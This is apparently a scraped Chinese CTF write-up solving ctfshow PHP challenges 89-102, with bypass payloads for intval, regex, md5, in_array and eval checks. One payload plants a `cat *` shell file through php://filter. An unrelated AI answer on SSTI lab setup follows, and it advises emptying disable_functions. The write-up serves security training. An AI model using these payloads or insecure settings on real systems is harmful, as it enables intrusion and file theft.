ctf中的web的PHP问题,Ctfshow Web入门 - PHP特性(89-102)

本文介绍了多个PHP安全相关的问题,包括文件包含、变量过滤、正则表达式绕过、类型转换漏洞等,并展示了如何利用这些漏洞进行攻击。通过实例解析了如何通过不同进制转换、反射API、命令注入等手段绕过安全防护获取敏感信息,如flag.php中的flag。此外,还涉及了类反射API在PHP5中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web89

include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if(preg_match("/[0-9]/", $num)){die("no no no!");

}if(intval($num)){echo $flag;

}

}

num数组绕过

?num[]=0

Web90

include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if($num==="4476"){die("no no no!");

}if(intval($num,0)===4476){echo $flag;

}else{echo intval($num,0);

}

}

20201122130022135308.jpg

base为0,在传参时添加0x绕过

?num=0x117c

Web91

show_source(__FILE__);include(‘flag.php‘);$a=$_GET[‘cmd‘];if(preg_match(‘/^php$/im‘, $a)){if(preg_match(‘/^php$/i‘, $a)){echo ‘hacker‘;

}else{echo $flag;

}

}else{echo ‘nonononono‘;

}

字符 ^ 和 $ 同时使用时,表示精确匹配

/i匹配大小写,/m匹配换行,一般不加/m是不匹配换行以后的左右两端的内容

由于匹配是要以php开头,我们可以在php之前加上换行绕过

?cmd=%0aphp

Web92-95

解法相似

1.利用90题中intval的特性使用不同进制绕过

2.多了一句判断

if(!strpos($num, "0")){die("no no no!!!");

}

20201122130022166558.jpg

看似没法继续用八进制绕过,其实使用非数字符号可以绕过,让查找返回false

}else

echo("yes!")?>

payload举例:

?num=%20010574

Web96

if(isset($_GET[‘u‘])){if($_GET[‘u‘]==‘flag.php‘){die("no no no");

}else{highlight_file($_GET[‘u‘]);

}

没想到啥,看payload是加./绕过的,读取当前目录下

Web97

include("flag.php");highlight_file(__FILE__);if (isset($_POST[‘a‘]) and isset($_POST[‘b‘])) {if ($_POST[‘a‘] != $_POST[‘b‘])if (md5($_POST[‘a‘]) === md5($_POST[‘b‘]))echo $flag;else

print ‘Wrong.‘;

}

但这里没法实现,原因不明

拿数组可以绕过a[]=1&b[]=2

20201122130022213433.jpg

Web98

include("flag.php");$_GET?$_GET=&$_POST:‘flag‘;$_GET[‘flag‘]==‘flag‘?$_GET=&$_COOKIE:‘flag‘;$_GET[‘flag‘]==‘flag‘?$_GET=&$_SERVER:‘flag‘;highlight_file($_GET[‘HTTP_FLAG‘]==‘flag‘?$flag:__FILE__);

html的三元运算符

$_GET?$_GET=&$_POST:‘flag‘;

表示如果GET传参,则用POST传参flag覆盖

$_GET[‘flag‘]==‘flag‘?$_GET=&$_COOKIE:‘flag‘;

同理如果GET传参是flag字符串,则用cookie传参的flag覆盖

以下同理

$_GET[‘flag‘]==‘flag‘?$_GET=&$_SERVER:‘flag‘;

highlight_file($_GET[‘HTTP_FLAG‘]==‘flag‘?$flag:__FILE__);

如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示

就是说GET要传参,但不能传flag,要拿POST的HTTP_FLAG传flag

Web99

highlight_file(__FILE__);$allow = array();for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i));

}if(isset($_GET[‘n‘]) && in_array($_GET[‘n‘], $allow)){file_put_contents($_GET[‘n‘], $_POST[‘content‘]);

}

20201122130022244683.jpg

20201122130022275933.jpg

20201122130022307183.jpg

20201122130022354058.jpg

首先是定义一个数组,然后向数组里面插入随机数,当GET传参的内容符合数组里随机数时,向传参名字的文件里写入POST的content内容

不是很懂怎么解法,看了hint

//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换

//eg:n=1.php自动转换为1

就是说in_array()的type没有设置为true,则不存在的值会不检测,自动转换

20201122130022385308.jpg

20201122130022432183.jpg

20201122130022463433.jpg

Web100

highlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;

$ctfshow = newctfshow();$v1=$_GET[‘v1‘];$v2=$_GET[‘v2‘];$v3=$_GET[‘v3‘];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2(‘ctfshow‘)$v3");

}

}

}

ctfshow类开辟空间,提示我们flag在ctfshow类里面

看了代码有迷惑我们的$v2(‘ctfshow‘)$v3,其中v2肯定是命令,v3传分号

v0是三个值相与,v2和v3不传数字和v1数字相与就为1

payload:

?v1=1&v2=var_dump($ctfshow)&v3=;

或者v3直接用内联注释注释掉

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

20201122130022510308.jpg

到这一步看不懂编码问题,问了出题人才知道,替换0x2d(十六进制ASCII的‘-’符号)

Web101

include("ctfshow.php");//flag in class ctfshow;

$ctfshow = newctfshow();$v1=$_GET[‘v1‘];$v2=$_GET[‘v2‘];$v3=$_GET[‘v3‘];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\‘|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\‘|\,|\.|\?|[0-9]/", $v3)){eval("$v2(‘ctfshow‘)$v3");

}

}

}

过滤了很多符号,不能用var_dump输出信息

看了hint考的是类反射

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。

$class = new ReflectionClass(‘Person‘); // 建立 Person这个类的反射类

$instance = $class->newInstanceArgs($args); // 相当于实例化Person 类

构造语句导出类信息

?v1=1&v2=echo new Reflectionclass&v3=;

Web102

highlight_file(__FILE__);$v1 = $_POST[‘v1‘];$v2 = $_GET[‘v2‘];$v3 = $_GET[‘v3‘];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);

}else{die(‘hacker‘);

}

substr截取字符串

20201122130022541558.jpg

call_user_func等于调用方法或变量

20201122130022604058.jpg

hint:

GET

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-

decode/resource=2.php

POST

v1=hex2bin#访问2.php后查看源代码获得flag

file_put_contents($v3,$str);

上面语句中,v3是我们可以控制的协议流

用base64解码写入文件,在文件包含遇到过

v2传的值,通过解码(4字节一组),能绕过substr的截断

再由v1传的hex2bin函数进行转换,存入2.php

20201122130022682183.jpg

20201122130022775933.jpg

可见这里绕过了substr

PD89YGNhdCAqYDs

=`cat *`;

还有个问题是v4

20201122130022838433.jpg

测试中如果是字符串,is_numeric是不返回值或者返回false,不会返回任何数字的,所以只要v2是数字,v4与运算以后就是1

原文:https://www.cnblogs.com/echoDetected/p/13999517.html

<think>嗯,用户想了解如何本地部署CTFshowWEB入门SSTI题目。首先,我需要回忆一下SSTI(服务器端模板注入)的基本概念,以及CTFshow这类题目的常见设置。可能用户需要搭建一个本地环境,比如使用PHP的Twig或者Python的Flask/Jinja2,具体要看题目用的是哪种模板引擎。 接下来,我需要考虑用户可能使用的技术栈。常见的本地部署可能会用到Docker、XAMPP或者直接配置Apache/Nginx。假设题目是基于PHP的,比如使用Twig模板引擎,那么需要配置PHP环境,并确保模板文件正确解析。记得用户提到的引用[1]提到IIS 6.0下.php后缀的文件会被解析,但这里可能需要Apache或Nginx的配置。例如,在Apache中,确保.htaccess正确设置,或者配置虚拟主机。 然后,用户可能需要修改题目中的一些配置,比如路由设置或者服务端代码。引用[2]提到servlet-class和url-pattern,这涉及到Java Web应用的配置,但如果题目是PHP或Python的,可能需要不同的配置方法。比如在Flask中,路由是通过装饰器定义的,而在PHP中可能需要修改.htaccess文件或服务器配置。 另外,安全设置也是需要考虑的,比如禁用危险函数,或者设置合适的权限,防止本地环境被恶意利用。用户可能还需要安装相关的依赖库,比如Composer安装Twig,或者pip安装Flask。 可能遇到的问题包括:服务器配置错误导致模板不解析,依赖未安装,路由设置不正确导致无法访问题目页面。需要逐步检查环境配置,确保每一步都正确。比如,检查PHP版本是否兼容,模板引擎是否正确加载,以及文件权限是否正确。 最后,生成相关问题时要考虑用户可能进一步的需求,比如如何调试SSTI漏洞,或者如何搭建其他类型的CTF题目环境,以及安全注意事项。需要确保回答清晰,步骤详细,并引用相关的参考资料来增强可信度。</think>### CTFshow WEB入门SSTI题目本地部署教程 #### 一、环境准备 1. **Web服务器选择**:推荐使用Apache或Nginx,需支持PHP/Python解析(根据题目具体语言) - 若使用PHP环境,建议安装PHP 7.x + Apache组合[^1] - 示例Apache配置: ```apache <VirtualHost *:80> DocumentRoot "/var/www/ssti" <Directory "/var/www/ssti"> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory> </VirtualHost> ``` 2. **模板引擎安装**: - 对于PHP Twig模板: ```bash composer require twig/twig ``` - 对于Python Flask/Jinja2: ```bash pip install flask ``` #### 二、题目部署步骤 1. **代码结构调整**: ```text 项目目录/ ├── templates/ │ └── index.html ├── index.php # 或app.py └── vendor/ # PHP依赖目录 ``` 2. **核心路由配置**(以PHP为例): ```php <?php require_once 'vendor/autoload.php'; $loader = new \Twig\Loader\FilesystemLoader('templates'); $twig = new \Twig\Environment($loader); $template = $twig->load('index.html'); echo $template->render($_GET); ``` 3. **安全限制解除**(调试需要): -php.ini中设置: ```ini disable_functions = allow_url_include = On ``` #### 三、访问验证 1. 启动Apache服务: ```bash sudo systemctl start apache2 ``` 2. 访问测试: ```bash curl http://localhost/?payload={{7*7}} # 应返回计算结果49 ``` #### 四、常见问题排查 1. **模板不解析**: - 检查文件权限:`chmod -R 755 templates/` - 验证Twig初始化是否正确 - 查看Apache错误日志:`tail -f /var/log/apache2/error.log` 2. **依赖缺失**: - PHP需安装mbstring扩展 - Python需安装Jinja2最新版
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值